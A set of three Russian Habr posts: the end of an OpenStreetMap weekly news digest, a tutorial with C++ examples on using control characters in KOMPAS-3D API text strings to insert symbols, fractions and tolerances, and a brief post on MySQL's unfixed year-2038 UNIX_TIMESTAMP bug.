* Теперь сайт OpenStreetMap переведен и на မြန်မာဘာသာ. Как вы, наверное, знаете, это [бирманский](https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%80%D0%BC%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA) — официальный язык в Мьянме, на котором говорят 33 млн человек. Энди Аллан в твиттер [просит](https://twitter.com/gravitystorm/status/1142050797431218179?s=19) помочь ему в переводе сайта OSM на этот язык. Ему хочется, чтобы степень локализации была более 25%.
* [Энди Аллан](https://twitter.com/gravitystorm/status/1140899902748274688) и [Ян Диз](https://twitter.com/iandees/status/1141851336360812544) ищут способы, как сделать так, чтобы агрессивное и деструктивное поведение, которое иногда проявляет сообщество OSM, особенно в некоторых списках рассылки и на GitHub, сошло на нет, а люди стали более приветливыми и готовыми поддерживать друг друга. Ян Диз готов рассказать менеджерам сообществ с открытым исходным кодом о том, как бороться с грубыми манерами, которые особенно часто и ярко проявляются, если люди используют анонимные каналы связи.
* Вы знаете того, кто достоин получения ежегодной премии OSM Awards? Тогда торопитесь — [заявки](https://blog.openstreetmap.org/2019/06/18/calling-for-nominees-for-the-openstreetmap-awards-2019/) принимаются до 15 июля.
* Группа из пяти добровольцев-картографов из [сообществ OSM в Гане](https://osmghana.org) и любителей открытого кода [путешествовали](https://twitter.com/Enock4seth/status/1136986639006412801) по Гане в рамках проекта «Путь открытого кода» (Open Source Way). По пути они картографировали, снимали панорамы улиц для Mapillary, а также всячески продвигали OpenStreetMap и открытое программное обеспечение.
* Совет OSMF [опубликовал](https://blog.openstreetmap.org/2019/05/09/osmf-board-face-to-face-meeting-suggest-the-topics-and-issues-that-matter-to-you/) результаты опроса сообщества OSM, в ходе которого предлагалось выбрать тему для обсуждения Советом на ближайшем заседании. Кристоф Хорманн в своем блоге [критикует](http://blog.imagico.de/on-surveying-the-surveyors/) некоторые сомнительные идеи и тенденции, а также высказывает свою точку зрения относительно изучения мнения сообщества.
Фонд OpenStreetMap
------------------
* Мы присоединяемся к [команде JOSM](https://twitter.com/josmeditor/status/1142204233422426119) и многим другим, кто помогает распространять [объявление](https://blog.openstreetmap.org/2019/06/21/help-the-owg) рабочей группы по эксплуатации OSMF, которая сейчас ищет волонтеров. Уточним, что эта рабочая группа отвечает за работу серверов, принадлежащих Фонду OpenStreetMap.
События
-------
* Кристина Карч в списке рассылки Фонда OpenStreetMap [предлагает](https://lists.openstreetmap.org/pipermail/osmf-talk/2019-June/006090.html) обсудить, где в будущем году можно провести конференцию «State of the Map-2020», так как на данный момент этот вопрос не решен.
* Не за горами конференция «State of the Map-2019». Программа этого крупного мероприятия в мире OSM, которое в этом году пройдет с 21 по 23 сентября в немецком городе Гейдельберге, выложена на официальном [сайте](https://2019.stateofthemap.org/program/) этой конференции.
Гуманитарный OSM
----------------
* Во Всемирный день беженцев — 20 июня — на портале medium.com был [опубликован](https://medium.com/devseed/missing-millions-finding-the-forcibly-displaced-efed41856f16?sk=346a53f350643bfcb3d7be02f4100286) материал о совместной работе университета штата Орегон (США), HOT и Development Seed по поиску беженцев и вынужденных переселенцев в результате военных конфликтов или стихийных бедствий с целью оказания им поддержки. В статье показывается масштаб проблемы и то, каким образом она решается, также делается вывод, что в ближайшем будущем с помощью искусственного интеллекта возможно будет помочь еще большему количеству людей.
* Команда Maptime Salzburg (регулярная конференций о картографии в Зальцбурге) [проведет](https://lists.openstreetmap.org/pipermail/talk-at/2019-June/009939.html) два молодежных семинара в рамках предстоящей выставки AGIT. На [первой](https://www.conftool.com/giweek2019/index.php?page=browseSessions&form_session=65) встрече будет рассказано об основах гуманитарного картографирования, на [второй](https://www.conftool.com/giweek2019/index.php?page=browseSessions&form_session=66) — о создании молодежных клубов-отделений картографов в европейских учебных заведениях. Отметим, что объединение молодых картографов OSM — [YouthMappers](https://www.youthmappers.org) — было основано студентами из университетов США, на данный момент оно состоит из 143 отделений в 41 стране.
* [Выдвижение](https://wiki.openstreetmap.org/wiki/Humanitarian_OSM_Team/Board_Elections_2019) кандидатов в совет некоммерческой организации HOT завершилось 17 июня 2017 года. На 7 вакантных мест претендует 8 человек. По решению правления организации количество мест в совете увеличено с 2 до 7.
* Ребекка Ферт из некоммерческой организации HOT [рассказывает](https://www.hotosm.org/updates/how-map2020-mappers-use-street-level-imagery-to-tackle-humanitarian-challenges/), как панорамы улиц помогают делать точнее OSM, особенно в регионах с низким качеством прорисовки карты. В частности панорамы позволяют получить данные об обращении с отходами, дорожных условиях и многом другом.
Обучение
--------
* Основатели небольшого онлайн-семинара [OpenSchoolMaps](https://openschoolmaps.ch/), реализуемого в рамках работы местного сообщества OSM в Швейцарии, опубликовали учебное пособие (PDF) — «Самостоятельное картографирование окружающей среды». Пока оно доступно только на немецком. В нем рассказывается о том, как организовать полевую картовстречу и что для этого нужно. Авторы ждут обратной связи, но желательно, чтобы она была оформлена, как проблема (issue) в репозитарии Git.
Карты
-----
* Свен Геггус [отключил](https://twitter.com/realgiggls/status/1143117249567428610) «Open Brewpub Map», но вместо нее начал поддержку нового проекта — "[Open Brewery Map](https://brewmap.openstreetmap.de/)" (карта пивоварен), в основе которого лежит техника [osmpoidb](https://github.com/giggls/osmpoidb).
* [Обновлена](https://gk.historic.place/historische_objekte/translate/pt-br/index-pt-br.html) португальская версия сайта Historic Place. В настоящее время сайт полностью переведен на бразильский португальский.
Открытые данные
---------------
* Компания Яндекс [разрешила](https://wiki.openstreetmap.org/wiki/RU:%D0%92%D0%B8%D0%BA%D0%B8%D0%9F%D1%80%D0%BE%D0%B5%D0%BA%D1%82_%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F/%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81.%D0%9F%D0%B0%D0%BD%D0%BE%D1%80%D0%B0%D0%BC%D1%8B) использовать информацию с Яндекс.Панорам для уточнения данных в OpenStreetMap. На этот раз по [e-mail.](https://wiki.openstreetmap.org/wiki/File:%D0%A0%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81.%D0%9F%D0%B0%D0%BD%D0%BE%D1%80%D0%B0%D0%BC_%D0%B2_OSM.pdf)
Программное обеспечение
-----------------------
* Матеуш Кониечжи [получил](https://www.openstreetmap.org/user/Mateusz%20Konieczny/diary/368849) грант от NLnet в рамках проекта [NGI Zero](https://nlnet.nl/discovery/) для работы над [StreetComplete](https://play.google.com/store/apps/details?id=de.westnordost.streetcomplete&hl=ru). В основном он планирует работать над решением проблем, которые были подняты на GitHub.
* Онлайн-сервис [Sight Safari](https://sightsafari.city), который умеет строить интересные маршруты по достопримечательностям в незнакомых городах, теперь стал и [мобильным приложением](https://play.google.com/store/apps/details?id=city.sightsafari.android) для Android. Сейчас идет бета-тестирование. Конечно, в качестве основы используются данные OSM.
Релизы
------
* Вышли [новые](https://github.com/qgis/QGIS/blob/master/NEWS) версии QGIS: 3.8 (Занзибар) и долго поддерживаемая версия (LTR) 3.4.9 (Майдера). LTR-версии обычно актуальны в течение года.
А знаете ли вы …
----------------
* … [периодичечскую таблицу](https://twitter.com/postgresql_007/status/1142383616829349889) PostgreSQL?
* … что российский мапер Константин Мошков разработал мобильное приложение "[OsMo мониторинг](https://osmo.mobi)"? Это трекер, который позволяет вам поделиться своим местонахождением с другими. Также есть возможность организации группового мониторинга. В качестве карты используется OSM, но атрибуция «хромает».
* … что российская компания NextGIS совместно с международной некоммерческой организаций «Мемориал» [разработала](http://nextgis.ru/blog/topo-terror/) карту "[Это прямо здесь: Москва. Топография террора.](http://topos.memo.ru)"? На карте показываются места в Москве, которые связаны с террором во время СССР. В качестве основы используется OSM.
* … разницу между тегами [`amenity=post_box`](https://wiki.openstreetmap.org/wiki/Tag:amenity%3Dpost_box) и [`amenity=letter_box`](https://wiki.openstreetmap.org/wiki/Tag:amenity%3Dletter_box)? Первый обозначает место, куда вы кладете письма для их отправки, второй — личный почтовый ящик для получения писем. Кстати, они ящики могут служить ориентирами в сельской глубинке, где почтовые ящики размещаются вдоль главных дорог вдали от домов.
Другие «гео» события
--------------------
* Пользователь cartocalypse в Twitter'e [опубликовал](https://twitter.com/cartocalypse/status/1140322094397493249) фотографию сувенира с встречи QGIS-CH.
* WGS84 — это система координат, в которой хранятся данные OSM, но [оказывается](https://twitter.com/howardbutler/status/1142062036429561864), что это не так просто, как кажется на первый взгляд.
* [*Африканская конференция по геопространственным данным и Интернету 2019 года*](https://afrigeocon.org) состоится 22-24 октября этого года в столице Ганы — Аккре.
* В репортаже ORF.Tirol [показывается](https://tirol.orf.at/stories/3000024/), насколько важны геоданные для работы всех служб, связанных со спасением людей (врачи, пожарные, спасатели, полицейские и пр.). В нем упоминается GIS-Tirol, которая поддерживает работу 358 пожарных рассчетов в виде веб-ГИС.
* По данным сайта [thedailystar.net](https://www.thedailystar.net/bytes/news/facebook-launches-high-definition-area-map-asia-pacific-region-1761607) Facebook сделал уникальную карту высокой точности, которая была создана командой по разработке искусственного интеллекта. Компания утверждает, что ее карта плотности населения в три раза точнее, чем у других поставщиков. Facebook планирует сделать эту карту доступной для общественности в гуманитарных целях.
* Майкл Самнер [пишет](https://twitter.com/mdsumner/status/1140990193106731010) в Twitter'e о научном исследовании, в рамках которого [изучают](https://geolocationmanual.vogelwarte.ch) геолокацию животных с помощью светочувствительных датчиков.
* Google, похоже, борется с сотнями тысяч ненастоящих POI различных предприятий и организаций, которые появляются на картах Google каждый месяц. Согласно [статье](https://www.theverge.com/2019/6/20/18693144/google-maps-fake-business-listings-investigation-report) The Verge в настоящее время существует более 11 миллионов ненастоящих профилей в Google Maps.
* Ряд экономистов [проанализировали](http://theconversation.com/need-to-find-a-good-restaurant-economics-serves-up-some-golden-rules-117670) пользовательские отзывы к различным точкам питания и пришли к выводу, что чем ближе заведение расположено к туристическому объекту, тем ниже у него будет рейтинг. В основе их исследования лежат данные Yelp и OSM.
* Берлинский район Фридрихсхайн-Кройцберг [опубликовал](https://daten.berlin.de/datensaetze/trinkbrunnen-im-bezirk-friedrichshain-kreuzberg) карту питьевых фонтанчиков, на которой также есть различная информация о них.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [465](https://habr.com/ru/post/457404/), [464](https://habr.com/ru/post/456606/), [463](https://habr.com/ru/post/455455/), [462](https://habr.com/ru/post/454556/), [461](https://habr.com/ru/post/453490/) | https://habr.com/ru/post/458460/ | null | ru | null |
# Работа с API КОМПАС-3D → Урок 16 → Управляющие символы
Продолжаем цикл статей по работе с API САПР КОМПАС-3D. Управляющие символы уже несколько раз встречались нам на предыдущих уроках цикла. Тогда каждый раз говорилось, что выводимые строки не должны их содержать, так как КОМПАС обрабатывает их особым образом. Теперь пришло время познакомиться с ними поближе.
Освоив работу с ними, вы поймете, что создание сложных составных строк – тривиальная задача, в большинстве случаев не требующая написания большого объёма кода.
В уроке мы рассмотрим, как с помощью управляющих символов выводить спецсимволы и символы шрифта, поговорим о том, как с их помощью создавать дроби и отклонения, а также рассмотрим их использование совместно с параграфами.
> #### Содержание цикла уроков «Работа с API КОМПАС-3D»
>
>
>
> 1. [Основы](https://habrahabr.ru/company/ascon/blog/328088/)
> 2. [Оформление чертежа](https://habrahabr.ru/company/ascon/blog/330588/)
> 3. [Корректное подключение к КОМПАС](https://habrahabr.ru/company/ascon/blog/332554/)
> 4. [Основная надпись](https://habrahabr.ru/company/ascon/blog/337288/)
> 5. [Графические примитивы](https://habrahabr.ru/company/ascon/blog/342030/)
> 6. [Сохранение документа в различные форматы](https://habrahabr.ru/company/ascon/blog/346772/)
> 7. [Знакомство с настройками](https://habrahabr.ru/company/ascon/blog/350512/)
> 8. [Более сложные методы записи в основную надпись](https://habr.com/company/ascon/blog/350516/)
> 9. [Чтение ячеек основной надписи](https://habr.com/company/ascon/blog/359232/)
> 10. [Спецсимволы, включающие строку](https://habr.com/company/ascon/blog/414701/)
> 11. [Простые текстовые надписи](https://habr.com/company/ascon/blog/417723/)
> 12. [Составные строки](https://habr.com/company/ascon/blog/424509/)
> 13. [Параграфы](https://habr.com/company/ascon/blog/434336/)
> 14. [Многострочный текст](https://habr.com/ru/company/ascon/blog/434576/)
> 15. [Составные строки на основе параграфа](https://habr.com/ru/company/ascon/blog/449706/)
> 16. **Управляющие символы**
>
Беглый обзор
------------
Управляющими символами являются символы: @, $, &, ;, ~, ^ и #. К сожалению в КОМПАС SDK крайне мало информации о том, как их использовать. Более подробная информация приведена в справке КОМПАС, в разделе *«9. Настройки КОМПАС-3D/Хранение настроек системы/Служебные файлы/Файл пользовательских меню/Синтаксис файла»*.
Все управляющие символы условно можно разделить на две группы: основные и вспомогательные. Вспомогательные символы используются только совместно с основными и, сами по себе не описывают какую-либо компоненту. В таблице ниже приводится краткое описание управляющих символов.
Рассмотрим их более подробно.
Вставка специальных символов
----------------------------
Мы уже рассматривали специальные символы (см. уроки [4](https://habr.com/ru/company/ascon/blog/337288/) и [10](https://habr.com/ru/company/ascon/blog/414701/)). Тогда для вставки одного спецсимвола использовался отдельный экземпляр интерфейса **ksTextItemParam**. С помощью управляющих символов вы можете вставлять в строку столько спецсимволов, сколько сочтете нужным без многократного использования интерфейса **ksTextItemParam**.
Синтаксис вставки специальных символов имеет вид:
***АА**@**YXXXX**~**BB***
где
**АА** – строка, располагаемая до специального символа,
**Y** – модификатор представления кода спецсимвола,
**XXXX** – код вставляемого спецсимвола.
**BB** – строка, располагаемая после спецсимвола.
Код вставляемого спецсимвола указывается между *@* и *~*. При этом в зависимости от значения модификатора **Y**, он может задаваться в десятичной или шестнадцатеричной системе счисления. Допустимые значения модификатора **Y** приведены в таблице ниже.
*Примечание:* как показывают мои эксперименты, КОМПАС нормально обрабатывает отсутствие символа *~*. При этом спецсимволы вставляются как нужно. Однако я крайне не рекомендую полагаться на такое поведение и всегда завершать операцию вставки символом *~*.
Ниже приводится пример программы, демонстрирующей вывод спецсимволов.
```
BSTR str = SysAllocString(OLESTR("До @+51~ После"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
str = SysAllocString(OLESTR("До @*33~ После"));
document2D->ksText(100.0,90.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
В данном примере дважды выводится один и тот же символ (α альфа). В первый раз его код задается в десятичной системе счисления, во второй раз – в шестнадцатеричной. На рисунке ниже показан результат работы программы.
Управляющие символы позволяют выводить в одной строке несколько спецсимволов. Так, в следующем примере демонстрируется вывод первых трех букв греческого алфавита за один вызов метода **ksText**.
```
BSTR str = SysAllocString(OLESTR("@+51~ @+52~ @+53~"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы.
Модификатор + является модификатором по умолчанию. Поэтому приведенную выше строку можно записать так:
*“@51~ @52~ @53~”*
При этом результат работы программы останется прежним.
Если после *@* стоит недопустимый символ, то строка между *@* и *~* выводится как есть. При этом символы *@* и *~* опускаются. Например, при строке:
*“До @Т51~ После”*
В документ будет выведено:
*До Т51 После*
*Примечание:* такое поведение КОМПАС является недокументированным и может различаться в разных версиях программы.
*Примечание:* управляющие символы не подходят для вставки спецсимволов, содержащих строку. Дело в том, что для ограничения их действия нужно использовать флаг SPECIAL\_SYMBOL\_END (более подробно см. [10 урок](https://habr.com/ru/company/ascon/blog/414701/) цикла), но управляющие символы не позволяют использовать флаги.
Вставка символов шрифта
-----------------------
Помимо спецсимволов вы можете вставлять обычные символы по их коду. Для этого используются управляющие символы *^* и *~*. Их синтаксис приведен ниже
***AA**^(**FNAME**)**YXXXX**~**BB***
где
**AA** – строка располагаемая до вставляемого символа,
**FNAME** – наименование шрифта, из которого берется символ,
**Y** – модификатор представления кода символа (аналогично @),
**XXXX** – числовой код вставляемого символа,
**BB** – строка располагаемая после вставляемого символа.
По своему назначению управляющий символ *^* похож на *@*. У них даже схожий синтаксис. Но между ними есть два важных отличия:
1. *^* вставляет не специальный символ, а символ шрифта по его коду;
2. для вставляемого символа можно задать шрифт в поле **FNAME** (@ этого не позволяет).
Коды символов можно посмотреть с помощью приложения charmap (Таблица символов), входящего в состав операционной системы Windows.
Если шрифт не указан, то используется шрифт по умолчанию. Ниже приводится пример использования символа *^*.
```
BSTR str = SysAllocString(OLESTR("До ^(Arial)*B1~ Между ^*39~ После"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
В данном примере в результирующую строку вставляются два символа, для первого мы выбираем шрифт *Arial*, для второго оставляем шрифт по умолчанию. На рисунке ниже показана строка, которая выводится в документ.
Обратите внимание: шрифт задается только для выводимого символа. Как показывают мои эксперименты, КОМПАС нормально обрабатывает отсутствие завершителя *~*. Однако я не рекомендую полагаться на такое поведение и всегда ставить завершитель.
Если после *^* указан недопустимый символ (или недопустимый код), то *^* и *~* опускаются, а строка между ними выводится как есть с использованием шрифта по умолчанию. Например, при строке
*“До ^Q(Arial)\*B1~ После”*
В документ будет выведено:
*“До Q(Arial)\*B1 После”*
Если в поле **FNAME** будет указано некорректное имя шрифта, то КОМПАС сам подберет шрифт и выведет символ в нём.
Если в строке нет закрывающей круглой скобки, то такая строка будет выведена не полностью. Например, при строке:
*“До ^Q(Arial\*B1~ После”*
В документ будет выведено только
*“До ”*
*Примечание:* приводимое выше поведение при некорректном синтаксисе управляющих символов справедливо для КОМПАС-3D V17 и не документировано. В других версиях оно может отличаться.
Дополнительные способы вставки символов
---------------------------------------
У символов *@* и *^* есть аналоги – *&* и *#* соответственно. Они имеют схожий синтаксис:
***AA**&**XX**~**BB**
**AA**#(**FNAME**)**XX**~**BB***
где
**AA** – строка, выводимая до вставляемого символа,
**XX** – код вставляемого символа (для & – спецсимвола, для # – символа шрифта),
**BB** – строка, выводимая после вставляемого символа,
**FNAME** – наименование шрифта.
Различий между символами *@* и *^*, и их аналогами всего два:
1. В символах & и # нет модификатора Y. Код символа всегда задается в десятичной системе счисления.
2. Код вставляемого символа задается максимум двумя цифрами.
Ниже приводится исходный код программы, демонстрирующей работу с символами *&* и *#*.
```
BSTR str = SysAllocString(OLESTR("До &51~ После"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
str = SysAllocString(OLESTR("До #(Arial)37~ Между #37~ После"));
document2D->ksText(100.0,90.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы.
Многострочный текст
-------------------
С помощью управляющих символов можно выводить многострочный текст. Для этого в месте переноса на новую строку нужно вставить последовательность: *@/*. Обратите внимание: символ *@* используется без завершителя *~*. Ниже приводится исходный код программы, демонстрирующей вывод многострочного текста с помощью управляющих символов.
```
BSTR str = SysAllocString(OLESTR("Первая строка@/Вторая строка"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
Обратите внимание: благодаря использованию управляющих символов мы выводим двустрочный текст всего одним вызовом метода **ksText**. На рисунке ниже показан результат работы этой программы.
Вставка управляющих символов
----------------------------
Мы разобрались, как вставлять произвольные спецсимволы и символы Unicode. Но что если требуется вставить сам управляющий символ? Тут можно пойти двумя путями. Первый способ это использовать символ *^* и вставить их как обычные символы шрифта. Но есть и более простой способ.
Символ *;* является вспомогательным и может быть вставлен непосредственно в текст. Для вставки других управляющих символов их нужно задвоить. То есть пара символов *@@* вставляет в текст один символ *@*. Это же справедливо и для других управляющих символов.
Ниже приводится пример программы, демонстрирующей вставку управляющих символов в строку.
```
BSTR str = SysAllocString(OLESTR("Управляющие символы: @@ $$ && ; ~~ ^^ ##"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы.
Верхнее и нижнее отклонения
---------------------------
Для вставки отклонений используется следующий синтаксис:
***AA**$**XX**;**YY**$**BB***
где
**AA** – текст выводимый до отклонений;
**XX** – верхнее отклонение;
**YY** – нижнее отклонение;
**BB** – текст выводимый после отклонений.
Обратите внимание: вся конструкция ограничивается символами *$*, а символ «*;*» служит разделителем между верхним и нижним отклонениями.
Если между символами *$* нет разделителя «*;*», то вся строка между ними интерпретируется как верхнее отклонение. Если компонента **XX** отсутствует, то есть после первого *$* сразу идет «*;*», то вся последующая строка до ближайшего *$* интерпретируется как нижнее отклонение.
*Примечание:* текст верхнего отклонения не должен начинаться с букв *b*, *d*, *s*, *m* и *l* (строчная *L*). Причина этого будет объяснена чуть позже.
Ниже приводится пример программы, демонстрирующей вывод текста с отклонениями
```
BSTR str = SysAllocString(OLESTR("До $Верхнее;Нижнее$ После"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы:
Учтите, КОМПАС обрабатывает только один символ «*;*». Второй символ «*;*» может интерпретироваться как завершитель всей конструкции. Например, при строке «*11$22;33;44$*» на экран будет выведено:
*Примечание:* такое поведение КОМПАС не документировано, поэтому полагаться на него нельзя.
Дробь
-----
Синтаксис дроби похож на синтаксис отклонений и имеет два равнозначных варианта:
***AA**$**bXX**;**YY**$**BB**
**AA**$**dXX**;**YY**$**BB***
где
**AA** – текст выводимый до дроби;
**XX** – числитель;
**YY** – знаменатель;
**BB** – текст выводимый после дроби.
Обратите внимание: единственное, чем отличается вывод дроби от вывода отклонений это наличие буквы *d* или *b* сразу после первого знака *$*. Во всем остальном их синтаксисы идентичны.
Если между символами *$d* (*$b*) и *$* нет символа «*;*», то вся строка между ними будет интерпретироваться как числитель. Если компонента **XX** отсутствует, то есть после *$d* (*$b*) сразу идет «*;*», то вся последующая строка до ближайшего *$* интерпретируется как знаменатель.
*Примечание:* текст числителя не должен начинаться с букв *s*, *m* или *l* (строчная *L*). Причина этого будет объяснена чуть позже.
Ниже приводится пример программы, демонстрирующей вывод дроби с использованием управляющих символов.
```
BSTR str = SysAllocString(OLESTR("До $dЧислитель;Знаменатель$ После"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы.
Учтите, КОМПАС обрабатывает «лишние» символы «*;*» также как и в случае отклонений. Такое поведение является недокументированным, и полагаться на него нельзя.
Управление размером отклонений и дроби
--------------------------------------
В самом начале конструкции построения отклонений или дроби может находиться одна из букв: *s*, *m* или *l* (строчная *L*). Они задают размер отклонений и элементов дроби (числителя и знаменателя). Их назначение описывается в таблице ниже.
Если ни одна из этих букв не указана, то для дроби используется *l*, а для отклонений *m*. Ниже приводится пример программы, демонстрирующей использование этих букв.
```
BSTR str = SysAllocString(OLESTR("До $dЧислитель;Знаменатель$ После"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
str = SysAllocString(OLESTR("До $dlЧислитель;Знаменатель$ После"));
document2D->ksText(100.0,85.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
str = SysAllocString(OLESTR("До $dmЧислитель;Знаменатель$ После"));
document2D->ksText(100.0,70.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
str = SysAllocString(OLESTR("До $dsЧислитель;Знаменатель$ После"));
document2D->ksText(100.0,60.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы.
Хотя в данном примере буквы *s*, *m* и *l* используются для дроби, их применение для отклонений ничем не отличается.
Учтите, что если между началом дроби или отклонения (*$*, *$d* или *$b*) и буквой *s*, *m* или *l* находится хотя бы один «посторонний» символ (например, пробел), то КОМПАС «не увидит» букв, и дробь или отклонение будут иметь размер по умолчанию.
Вложенные управляющие символы
-----------------------------
При выводе дробей и отклонений, входящие в их состав строки обрабатываются рекурсивно. Это значит, что при формировании числителя и знаменателя так же могут использоваться управляющие символы. Этот подход демонстрируется в следующем примере.
```
BSTR str = SysAllocString(OLESTR("@54~$s2$ + $d@+51~;@+52~$ - ^(Symbol)*70~"));
document2D->ksText(100.0,100.0,0.0,0.0,0.0,0,str);
SysFreeString(str);
```
На рисунке ниже показан результат работы этой программы.
Для вставки букв греческого алфавита мы используем управляющие символы @ и ^ (для буквы пи). Степень в первом слагаемом выводится с помощью отклонений. Ее выводит подстрока *$s2$*. Буква *s* указывает на малый размер отклонения, а благодаря отсутствию разделителя «*;*» выводится только верхнее отклонение.
Для формирования дроби используется комбинация *$d;$*. Причем в состав числителя и знаменателя входят управляющие символы, которые обеспечивают вывод букв греческого алфавита.
Последнее вычитаемое (π пи) выводится как символ шрифта Symbol с помощью управляющих символов *^* и *~*.
К сожалению возможности такой «рекурсии» сильно ограничены. Мы не можем дробь и отклонения вкладывать друг в друга. Проблема в том, что они оба формируются с помощью управляющего символа *$*. Из-за этого КОМПАС не может правильно разобрать, какой *$* к какому элементу относится.
Управляющие символы в параграфе
-------------------------------
Частично обойти ограничение с вложенными управляющими символами можно с помощью параграфов. Совместное использование управляющих символов и параграфов позволяет строить еще более сложные конструкции. Пример ниже демонстрирует построение 4-уровневой дроби.
**Код программы для построения 4-уровневой дроби**
```
//Получаем нужные интерфейсы
DynamicArrayPtr dynamicArray;
dynamicArray = static_cast(kompas->GetDynamicArray(TEXT\_ITEM\_ARR));
dynamicArray->ksClearArray();
TextItemParamPtr textItemParam;
textItemParam = static\_cast(kompas->GetParamStruct(ko\_TextItemParam));
//Добавляем в массив обычный текст
BSTR str = SysAllocString(OLESTR("Текст до дроби"));
textItemParam->set\_s(str);
dynamicArray->ksAddArrayItem(-1, textItemParam);
SysFreeString(str);
//Добавляем в массив числитель дроби
TextItemFontPtr textItemFont;
textItemFont = static\_cast(textItemParam->GetItemFont());
textItemFont->set\_bitVector(NUMERATOR);
str = SysAllocString(OLESTR("1 + $d@+51~;2$"));
textItemParam->set\_s(str);
dynamicArray->ksAddArrayItem(-1, textItemParam);
SysFreeString(str);
//Добавляем в массив знаменатель
textItemFont->set\_bitVector(DENOMINATOR);
str = SysAllocString(OLESTR("1 + $d@+56~;2$"));
textItemParam->set\_s(str);
dynamicArray->ksAddArrayItem(-1, textItemParam);
SysFreeString(str);
//Завершаем дробь
textItemFont->set\_bitVector(END\_FRACTION);
str = SysAllocString(OLESTR("Текст после дроби"));
textItemParam->set\_s(str);
dynamicArray->ksAddArrayItem(-1, textItemParam);
SysFreeString(str);
//Освобождаем ненужные интерфейсы
textItemFont.Unbind();
textItemParam.Unbind();
//Оформляем массив в интерфейс ksTextLineParam
TextLineParamPtr textLineParam;
textLineParam = static\_cast(kompas->GetParamStruct(ko\_TextLineParam));
textLineParam->Init();
textLineParam->SetTextItemArr(dynamicArray);
dynamicArray.Unbind();
//Строим параграф
ParagraphParamPtr paragraphParam;
paragraphParam=static\_cast(kompas->GetParamStruct(ko\_ParagraphParam));
paragraphParam->Init();
paragraphParam->set\_x(100.0);
paragraphParam->set\_y(100.0);
document2D->ksParagraph(paragraphParam);
document2D->ksTextLine(textLineParam);
document2D->ksEndObj();
//Освобождаем оставшиеся интерфейсы
textLineParam.Unbind();
paragraphParam.Unbind();
```
В данном примере управляющие символы используются для построения дробей в числителе и знаменателе основной дроби, а также для вставки букв греческого алфавита. На рисунке ниже показан результат работы этой программы.
Заключение
----------
На данном уроке мы познакомились с управляющими символами и научились с помощью них выводить спецсимволы и символы шрифта. Как вы могли убедиться, они предоставляют простой синтаксис создания строк, включающих в свой состав спецсимволы, дроби, отклонения. К сожалению, они плохо подходят для вставки спецсимволов, содержащих строки. Но такие спецсимволы встречаются крайне редко. Это одно из ограничений управляющих символов. Также с их помощью нельзя создавать надстроки и подстроки, и есть ограничения при работе со спецсимволами, включающими строки. Но это ничуть не умаляет их достоинств. На этом мы заканчиваем рассмотрение управляющих символов.
**Продолжение следует, следите за новостями блога.**
[](https://habrastorage.org/web/350/25b/57e/35025b57e2474a8388f0f0554e807128.png) Сергей Норсеев, к.т.н., автор книги «Разработка приложений под КОМПАС в Delphi». | https://habr.com/ru/post/457702/ | null | ru | null |
# Апокалипсис грядёт
Есть такая проблема — в 2038м году [количество секунд с начала эпохи Unix Time перевалит за величину signed int и исчезнет.](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0_2038_%D0%B3%D0%BE%D0%B4%D0%B0) Это как проблема 2000 года, только намного сложнее, потому что для неё нужно менять типы данных.
Так вот… в MySQL [уже четырнадцать с половиной лет висит просьба](https://bugs.mysql.com/bug.php?id=12654) починить функции UNIX\_TIMESTAMP и FROM\_UNIXTIME, которые не могут обрабатывать даты после 19 января 2038го. Это функции конвертации даты в Unixtime и наоборот.
Проверить это достаточно просто: попробуйте вот этот запрос.
```
select unix_timestamp('2038-01-20');
```
В 2017-м добрый человек попытался это исправить, но патч так и не приняли. Проблемы с часовыми поясами и поддержкой 32-битных систем.
Переходить на MariaDB тоже не вариант: там этот баг [уже закрыт как слишком сложный.](https://jira.mariadb.org/browse/MDEV-341)
Апокалипсис грядёт и нам остаётся только молиться… на этих разработчиков.
